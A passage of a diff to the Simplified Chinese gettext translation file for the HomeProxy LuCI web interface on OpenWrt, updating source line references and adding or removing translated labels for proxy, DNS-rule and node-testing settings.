htdocs/luci-static/resources/view/homeproxy/server.js:376 msgid "Heartbeat interval" msgstr "心跳间隔" -#: htdocs/luci-static/resources/view/homeproxy/client.js:60 -#: htdocs/luci-static/resources/view/homeproxy/client.js:62 -#: htdocs/luci-static/resources/view/homeproxy/client.js:140 +#: htdocs/luci-static/resources/view/homeproxy/client.js:63 +#: htdocs/luci-static/resources/view/homeproxy/client.js:65 +#: htdocs/luci-static/resources/view/homeproxy/client.js:112 #: htdocs/luci-static/resources/view/homeproxy/status.js:282 #: root/usr/share/luci/menu.d/luci-app-homeproxy.json:3 msgid "HomeProxy" @@ -1194,54 +1132,33 @@ msgstr "HomeProxy" msgid "HomeProxy Server" msgstr "HomeProxy 服务端" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:180 -msgid "HomeProxy configuration backup / restore" -msgstr "HomeProxy 配置备份 / 恢复" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:163 -msgid "" -"HomeProxy configuration has been restored and the service has restarted." -msgstr "HomeProxy 配置已恢复,服务已重启。" - -#: htdocs/luci-static/resources/homeproxy.js:252 -msgid "HomeProxy found the following issues. Check and fix them manually:" -msgstr "HomeProxy 发现以下问题,请检查并手动修复:" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:60 -msgid "" -"HomeProxy was just upgraded or rpcd has restarted. The current page session " -"may be expired. Refresh the page or sign in again before retrying." -msgstr "" -"HomeProxy 刚完成升级或 rpcd 已重启,当前页面会话可能已失效。请刷新页面或重新" -"登录后重试。" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:651 +#: htdocs/luci-static/resources/view/homeproxy/node.js:965 msgid "Hop interval" msgstr "跳跃间隔" -#: htdocs/luci-static/resources/view/homeproxy/node.js:645 +#: htdocs/luci-static/resources/view/homeproxy/node.js:959 msgid "Hopping port" msgstr "跳跃端口" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1006 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1011 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1045 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1256 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1261 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1295 #: htdocs/luci-static/resources/view/homeproxy/server.js:437 #: htdocs/luci-static/resources/view/homeproxy/server.js:442 #: htdocs/luci-static/resources/view/homeproxy/server.js:473 msgid "Host" msgstr "主机名" -#: htdocs/luci-static/resources/view/homeproxy/node.js:849 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1099 msgid "Host key" msgstr "主机密钥" -#: htdocs/luci-static/resources/view/homeproxy/node.js:854 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1104 msgid "Host key algorithms" msgstr "主机密钥算法" -#: htdocs/luci-static/resources/view/homeproxy/client.js:793 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1272 +#: htdocs/luci-static/resources/view/homeproxy/client.js:604 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1084 msgid "Host/IP fields" msgstr "主机/IP 字段" @@ -1251,28 +1168,44 @@ msgid "" "command (in seconds)." msgstr "服务器等待客户端发送认证命令的时间(单位:秒)。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:527 +#: htdocs/luci-static/resources/view/homeproxy/node.js:862 #: htdocs/luci-static/resources/view/homeproxy/server.js:179 msgid "Hysteria" msgstr "Hysteria" -#: htdocs/luci-static/resources/view/homeproxy/node.js:528 +#: htdocs/luci-static/resources/view/homeproxy/node.js:863 #: htdocs/luci-static/resources/view/homeproxy/server.js:180 msgid "Hysteria2" msgstr "Hysteria2" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1040 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1478 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1784 +msgid "ICMP" +msgstr "ICMP" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:474 +msgid "ICMP Failed" +msgstr "ICMP 失败" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:476 +msgid "ICMP Probe unavailable" +msgstr "ICMP 探测不可用" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:478 +msgid "ICMP Timeout" +msgstr "ICMP 超时" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:853 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1290 msgid "IP CIDR" msgstr "IP CIDR" -#: htdocs/luci-static/resources/view/homeproxy/client.js:820 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1300 +#: htdocs/luci-static/resources/view/homeproxy/client.js:631 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1112 msgid "IP version" msgstr "IP 版本" -#: htdocs/luci-static/resources/view/homeproxy/client.js:822 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1301 +#: htdocs/luci-static/resources/view/homeproxy/client.js:633 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1113 msgid "IPv4" msgstr "IPv4" @@ -1280,8 +1213,8 @@ msgstr "IPv4" msgid "IPv4 only" msgstr "仅 IPv4" -#: htdocs/luci-static/resources/view/homeproxy/client.js:823 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1302 +#: htdocs/luci-static/resources/view/homeproxy/client.js:634 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1114 msgid "IPv6" msgstr "IPv6" @@ -1289,31 +1222,31 @@ msgstr "IPv6" msgid "IPv6 only" msgstr "仅 IPv6" -#: htdocs/luci-static/resources/view/homeproxy/client.js:337 +#: htdocs/luci-static/resources/view/homeproxy/client.js:320 msgid "IPv6 support" msgstr "IPv6 支持" -#: htdocs/luci-static/resources/view/homeproxy/node.js:622 +#: htdocs/luci-static/resources/view/homeproxy/node.js:936 msgid "Idle session check interval" msgstr "空闲会话检查间隔" -#: htdocs/luci-static/resources/view/homeproxy/node.js:629 +#: htdocs/luci-static/resources/view/homeproxy/node.js:943 msgid "Idle session check timeout" msgstr "空闲会话检查超时" -#: htdocs/luci-static/resources/view/homeproxy/client.js:765 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1027 +#: htdocs/luci-static/resources/view/homeproxy/client.js:576 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1277 #: htdocs/luci-static/resources/view/homeproxy/server.js:456 msgid "Idle timeout" msgstr "空闲超时" -#: htdocs/luci-static/resources/view/homeproxy/client.js:927 +#: htdocs/luci-static/resources/view/homeproxy/client.js:740 msgid "" "If enabled, attempts to connect UDP connection to the destination instead of " "listen." msgstr "如果启用,尝试主动连接到目标的 UDP 而不是监听。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:921 +#: htdocs/luci-static/resources/view/homeproxy/client.js:734 msgid "" "If enabled, for UDP proxy requests addressed to a domain, the original " "packet address will be sent in the response instead of the mapped domain." @@ -1321,18 +1254,18 @@ msgstr "" "如果启用,对于发送到域名的 UDP 代理请求,响应中将发送原始数据包地址而不是映射" "的域名。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:999 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1249 msgid "" "If enabled, the client transport sends keepalive pings even with no active " "connections." msgstr "如果启用,客户端传输即使没有活动连接也会发送 keepalive ping。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:388 +#: htdocs/luci-static/resources/view/homeproxy/client.js:371 msgid "" "If set, the requested domain name will be resolved to IP before routing." msgstr "如果设置,请求的域名将在路由前被解析为 IP 地址。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:984 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1234 #: htdocs/luci-static/resources/view/homeproxy/server.js:425 msgid "" "If the transport doesn't see any activity after a duration of this time (in " @@ -1341,7 +1274,7 @@ msgstr "" "如果传输在此时间段(单位:秒)后没有看到任何活动,它会向客户端发送 ping 请求" "以检查连接是否仍然活动。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1253 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1503 msgid "" "If you have the root certificate, use this option instead of allowing " "insecure." @@ -1351,37 +1284,37 @@ msgstr "如果你拥有根证书,使用此选项而不是允许不安全连接 msgid "Ignore client bandwidth" msgstr "忽略客户端带宽" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1518 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1718 msgid "Import" msgstr "导入" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1465 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1544 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1546 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1665 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1744 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1746 msgid "Import share links" msgstr "导入分享链接" -#: htdocs/luci-static/resources/view/homeproxy/client.js:376 +#: htdocs/luci-static/resources/view/homeproxy/client.js:359 #: htdocs/luci-static/resources/view/homeproxy/server.js:860 msgid "In seconds." msgstr "单位:秒。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1117 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1367 msgid "In seconds. Disabled by default." msgstr "单位:秒。默认禁用。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:637 +#: htdocs/luci-static/resources/view/homeproxy/node.js:951 msgid "" "In the check, at least the first n idle sessions are kept open." msgstr "在检查中,至少保持前 n 个空闲会话处于打开状态。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:630 +#: htdocs/luci-static/resources/view/homeproxy/node.js:944 msgid "" "In the check, close sessions that have been idle for longer than this, in " "seconds." msgstr "在检查中,关闭空闲时间超过此值的会话(单位:秒)。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1114 +#: htdocs/luci-static/resources/view/homeproxy/client.js:927 msgid "Independent cache per server" msgstr "独立缓存" @@ -1389,38 +1322,45 @@ msgstr "独立缓存" msgid "Info" msgstr "信息" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1617 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1428 msgid "Interface Control" msgstr "接口控制" -#: htdocs/luci-static/resources/view/homeproxy/client.js:717 -#: htdocs/luci-static/resources/view/homeproxy/client.js:772 +#: htdocs/luci-static/resources/view/homeproxy/client.js:583 msgid "Interrupt existing connections" msgstr "中断现有连接" -#: htdocs/luci-static/resources/view/homeproxy/client.js:718 -#: htdocs/luci-static/resources/view/homeproxy/client.js:773 +#: htdocs/luci-static/resources/view/homeproxy/client.js:584 msgid "Interrupt existing connections when the selected outbound has changed." msgstr "当选择的出站发生变化时中断现有连接。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:623 +#: htdocs/luci-static/resources/view/homeproxy/node.js:937 msgid "Interval checking for idle sessions, in seconds." msgstr "空闲会话检查间隔(单位:秒)。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:908 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1158 #: htdocs/luci-static/resources/view/homeproxy/server.js:377 msgid "" "Interval for sending heartbeat packets for keeping the connection alive (in " "seconds)." msgstr "发送心跳包以保持连接存活的时间间隔(单位:秒)。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:877 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1353 +#: htdocs/luci-static/resources/view/homeproxy/client.js:128 +#: htdocs/luci-static/resources/view/homeproxy/node.js:480 +msgid "Invalid node" +msgstr "无效节点" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:482 +msgid "Invalid response" +msgstr "无效响应" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:688 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1165 msgid "Invert" msgstr "反转" -#: htdocs/luci-static/resources/view/homeproxy/client.js:878 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1354 +#: htdocs/luci-static/resources/view/homeproxy/client.js:689 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1166 msgid "Invert match result." msgstr "反转匹配结果" @@ -1428,21 +1368,29 @@ msgstr "反转匹配结果" msgid "Key path" msgstr "证书路径" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1631 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1442 msgid "LAN IP Policy" msgstr "LAN IP 策略" -#: htdocs/luci-static/resources/view/homeproxy/client.js:449 -#: htdocs/luci-static/resources/view/homeproxy/client.js:797 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1147 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1276 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1535 -#: htdocs/luci-static/resources/view/homeproxy/node.js:517 +#: htdocs/luci-static/resources/view/homeproxy/client.js:432 +#: htdocs/luci-static/resources/view/homeproxy/client.js:608 +#: htdocs/luci-static/resources/view/homeproxy/client.js:960 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1088 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1347 +#: htdocs/luci-static/resources/view/homeproxy/node.js:852 #: htdocs/luci-static/resources/view/homeproxy/server.js:160 msgid "Label" msgstr "标签" -#: htdocs/luci-static/resources/view/homeproxy/node.js:923 +#: htdocs/luci-static/resources/view/homeproxy/node.js:817 +msgid "Latency" +msgstr "延迟" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1782 +msgid "Latency test mode" +msgstr "延迟测试模式" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1173 #: htdocs/luci-static/resources/view/homeproxy/server.js:392 msgid "" "Legacy protocol support (VMess MD5 Authentication) is provided for " @@ -1451,7 +1399,7 @@ msgstr "" "提供旧协议支持(VMess MD5 身份验证)仅出于兼容性目的,不建议使用 alterId > " "1。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:365 +#: htdocs/luci-static/resources/view/homeproxy/client.js:348 msgid "Less compatibility and sometimes better performance." msgstr "有时性能更好。" @@ -1459,35 +1407,31 @@ msgstr "有时性能更好。" msgid "Let's Encrypt" msgstr "Let's Encrypt" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1077 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1327 msgid "" "List of IP (v4 or v6) addresses prefixes to be assigned to the interface." msgstr "分配给接口的 IP(v4 或 v6)地址前缀列表。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:555 -msgid "List of manually selectable nodes." -msgstr "可手动选择的节点列表。" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:172 -#: htdocs/luci-static/resources/view/homeproxy/client.js:201 -#: htdocs/luci-static/resources/view/homeproxy/client.js:540 +#: htdocs/luci-static/resources/view/homeproxy/client.js:157 +#: htdocs/luci-static/resources/view/homeproxy/client.js:186 +#: htdocs/luci-static/resources/view/homeproxy/client.js:520 msgid "List of nodes to test." msgstr "要测试的节点列表。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1216 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1466 #: htdocs/luci-static/resources/view/homeproxy/server.js:566 msgid "List of supported application level protocols, in order of preference." msgstr "支持的应用层协议协商列表,按顺序排列。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1439 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1251 msgid "List of text DNS record to respond as answers." msgstr "要响应的 DNS 记录列表。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1449 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1261 msgid "List of text DNS record to respond as extra records." msgstr "要响应的附加 DNS 记录列表。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1444 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1256 msgid "List of text DNS record to respond as name servers." msgstr "要响应的域名服务器(NS) DNS 记录列表。" @@ -1495,7 +1439,7 @@ msgstr "要响应的域名服务器(NS) DNS 记录列表。" msgid "Listen address" msgstr "监听地址" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1619 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1430 msgid "Listen interfaces" msgstr "监听接口" @@ -1507,15 +1451,11 @@ msgstr "监听端口" msgid "Loading" msgstr "加载中" -#: htdocs/luci-static/resources/view/homeproxy/client.js:657 -msgid "Loading..." -msgstr "加载中..." - -#: htdocs/luci-static/resources/view/homeproxy/client.js:1546 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1358 msgid "Local" msgstr "本地" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1076 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1326 msgid "Local address" msgstr "本地地址" @@ -1527,31 +1467,31 @@ msgstr "日志文件不存在。" msgid "Log is empty." msgstr "日志为空。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1110 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1360 msgid "MTU" msgstr "MTU" -#: htdocs/luci-static/resources/view/homeproxy/client.js:190 +#: htdocs/luci-static/resources/view/homeproxy/client.js:175 msgid "Main UDP node" msgstr "主 UDP 节点" -#: htdocs/luci-static/resources/view/homeproxy/client.js:162 +#: htdocs/luci-static/resources/view/homeproxy/client.js:147 msgid "Main node" msgstr "主节点" -#: htdocs/luci-static/resources/view/homeproxy/client.js:874 +#: htdocs/luci-static/resources/view/homeproxy/client.js:685 msgid "Make IP CIDR in rule set used to match the source IP." msgstr "使规则集中的 IP CIDR 用于匹配源 IP。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1346 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1158 msgid "Make IP CIDR in rule sets match the source IP." msgstr "使规则集中的 IP CIDR 匹配源 IP。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1350 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1162 msgid "Make IP CIDR in rule-sets accept empty query response." msgstr "使规则集中的 IP CIDR 接受空查询响应。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1115 +#: htdocs/luci-static/resources/view/homeproxy/client.js:928 msgid "" "Make each DNS server's cache independent for special purposes. If enabled, " "will slightly degrade performance." @@ -1561,109 +1501,109 @@ msgstr "独立缓存每个 DNS 服务器的结果以供特殊用途。启用后 msgid "Masquerade" msgstr "伪装" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1479 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1291 msgid "" "Match IP CIDR with query response. Current rule will be skipped if not match." msgstr "使用查询响应匹配 IP CIDR。如果不匹配,则跳过当前规则。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1041 +#: htdocs/luci-static/resources/view/homeproxy/client.js:854 msgid "Match IP CIDR." msgstr "匹配 IP CIDR。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1021 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1459 +#: htdocs/luci-static/resources/view/homeproxy/client.js:834 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1271 msgid "Match domain suffix." msgstr "匹配域名后缀。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1025 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1463 +#: htdocs/luci-static/resources/view/homeproxy/client.js:838 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1275 msgid "Match domain using keyword." msgstr "使用关键词匹配域名。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1029 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1467 +#: htdocs/luci-static/resources/view/homeproxy/client.js:842 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1279 msgid "Match domain using regular expression." msgstr "使用正则表达式匹配域名。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1016 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1454 +#: htdocs/luci-static/resources/view/homeproxy/client.js:829 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1266 msgid "Match full domain." msgstr "匹配完整域名。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1064 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1503 +#: htdocs/luci-static/resources/view/homeproxy/client.js:877 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1315 msgid "Match port range. Format as START:/:END/START:END." msgstr "匹配端口范围。格式为 START:/:END/START:END。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1059 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1498 +#: htdocs/luci-static/resources/view/homeproxy/client.js:872 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1310 msgid "Match port." msgstr "匹配端口。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1045 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1483 +#: htdocs/luci-static/resources/view/homeproxy/client.js:858 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1295 msgid "Match private IP" msgstr "匹配私有 IP" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1484 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1296 msgid "Match private IP with query response." msgstr "使用查询响应匹配私有 IP。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1037 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1475 +#: htdocs/luci-static/resources/view/homeproxy/client.js:850 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1287 msgid "Match private source IP" msgstr "匹配私有源 IP" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1069 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1508 +#: htdocs/luci-static/resources/view/homeproxy/client.js:882 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1320 msgid "Match process name." msgstr "匹配进程名。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1077 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1516 +#: htdocs/luci-static/resources/view/homeproxy/client.js:890 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1328 msgid "Match process path using regular expression." msgstr "使用正则表达式匹配进程路径。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1073 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1512 +#: htdocs/luci-static/resources/view/homeproxy/client.js:886 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1324 msgid "Match process path." msgstr "匹配进程路径。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1307 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1119 msgid "Match query type." msgstr "匹配请求类型。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:859 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1331 +#: htdocs/luci-static/resources/view/homeproxy/client.js:670 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1143 msgid "Match rule set." msgstr "匹配规则集。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1033 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1471 +#: htdocs/luci-static/resources/view/homeproxy/client.js:846 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1283 msgid "Match source IP CIDR." msgstr "匹配源 IP CIDR。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1054 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1493 +#: htdocs/luci-static/resources/view/homeproxy/client.js:867 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1305 msgid "Match source port range. Format as START:/:END/START:END." msgstr "匹配源端口范围。格式为 START:/:END/START:END。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1049 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1488 +#: htdocs/luci-static/resources/view/homeproxy/client.js:862 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1300 msgid "Match source port." msgstr "匹配源端口。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:855 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1327 +#: htdocs/luci-static/resources/view/homeproxy/client.js:666 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1139 msgid "Match user name." msgstr "匹配用户名。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:695 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1009 #: htdocs/luci-static/resources/view/homeproxy/server.js:261 msgid "Max download speed" msgstr "最大下载速度" -#: htdocs/luci-static/resources/view/homeproxy/node.js:696 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1010 #: htdocs/luci-static/resources/view/homeproxy/server.js:262 msgid "Max download speed in Mbps." msgstr "最大下载速度(Mbps)。" @@ -1672,27 +1612,27 @@ msgstr "最大下载速度(Mbps)。" msgid "Max time difference" msgstr "最大时间差" -#: htdocs/luci-static/resources/view/homeproxy/node.js:702 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1016 #: htdocs/luci-static/resources/view/homeproxy/server.js:268 msgid "Max upload speed" msgstr "最大上传速度" -#: htdocs/luci-static/resources/view/homeproxy/node.js:703 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1017 #: htdocs/luci-static/resources/view/homeproxy/server.js:269 msgid "Max upload speed in Mbps." msgstr "最大上传速度(Mbps)。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1236 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1486 #: htdocs/luci-static/resources/view/homeproxy/server.js:578 msgid "Maximum TLS version" msgstr "最大 TLS 版本" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1141 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1155 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1391 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1405 msgid "Maximum connections" msgstr "最大连接数" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1153 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1403 msgid "" "Maximum multiplexed streams in a connection before opening a new connection." "
Conflict with %s and %s." @@ -1700,94 +1640,84 @@ msgstr "" "在打开新连接之前,连接中的最大多路复用流数量。与 %s 和 " "%s 冲突。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:581 -msgid "" -"Maximum regex length is 512 characters; preview and generation cap regex-" -"expanded nodes to prevent oversized groups." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1152 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1402 msgid "Maximum streams" msgstr "最大流数量" -#: htdocs/luci-static/resources/homeproxy/dashboard.js:99 -msgid "MetaCubeXD Dashboard" -msgstr "MetaCubeXD 面板" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:978 -#: htdocs/luci-static/resources/view/homeproxy/client.js:986 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1413 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1422 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1021 +#: htdocs/luci-static/resources/view/homeproxy/client.js:791 +#: htdocs/luci-static/resources/view/homeproxy/client.js:799 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1225 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1234 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1271 #: htdocs/luci-static/resources/view/homeproxy/server.js:452 msgid "Method" msgstr "方式" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1228 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1478 #: htdocs/luci-static/resources/view/homeproxy/server.js:570 msgid "Minimum TLS version" msgstr "最低 TLS 版本" -#: htdocs/luci-static/resources/view/homeproxy/node.js:636 +#: htdocs/luci-static/resources/view/homeproxy/node.js:950 msgid "Minimum idle sessions" msgstr "最小空闲会话数" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1147 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1397 msgid "" "Minimum multiplexed streams in a connection before opening a new connection." msgstr "在打开新连接之前,连接中的最小多路复用流数量。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1146 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1155 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1396 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1405 msgid "Minimum streams" msgstr "最小流数量" -#: htdocs/luci-static/resources/homeproxy/tcping.js:211 -msgid "Missing" -msgstr "不存在" +#: htdocs/luci-static/resources/view/homeproxy/node.js:1773 +msgid "Minutes(0-59) Hours(0-23) Dates(1-31) Months(1-12) Weeks(0-6)" +msgstr "分(0-59) 时(0-23) 日(1-31) 月(1-12) 周(0-6)" -#: htdocs/luci-static/resources/view/homeproxy/client.js:350 +#: htdocs/luci-static/resources/view/homeproxy/client.js:333 #: htdocs/luci-static/resources/view/homeproxy/server.js:183 msgid "Mixed" msgstr "混合" -#: htdocs/luci-static/resources/view/homeproxy/client.js:361 +#: htdocs/luci-static/resources/view/homeproxy/client.js:344 msgid "Mixed system TCP stack and gVisor UDP stack." msgstr "混合系统 TCP 栈和 gVisor UDP 栈。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:807 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1286 +#: htdocs/luci-static/resources/view/homeproxy/client.js:618 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1098 msgid "Mode" msgstr "模式" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1344 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1594 #: htdocs/luci-static/resources/view/homeproxy/server.js:850 msgid "MultiPath TCP" msgstr "多路径 TCP(MPTCP)" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1124 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1374 #: htdocs/luci-static/resources/view/homeproxy/server.js:500 msgid "Multiplex" msgstr "多路复用" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1132 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1382 msgid "Multiplex protocol." msgstr "多路复用协议。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:62 +#: htdocs/luci-static/resources/view/homeproxy/client.js:65 #: htdocs/luci-static/resources/view/homeproxy/server.js:60 msgid "NOT RUNNING" msgstr "未运行" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1634 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1835 msgid "NOTE: Save current settings before updating subscriptions." msgstr "注意:更新订阅前先保存当前配置。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1443 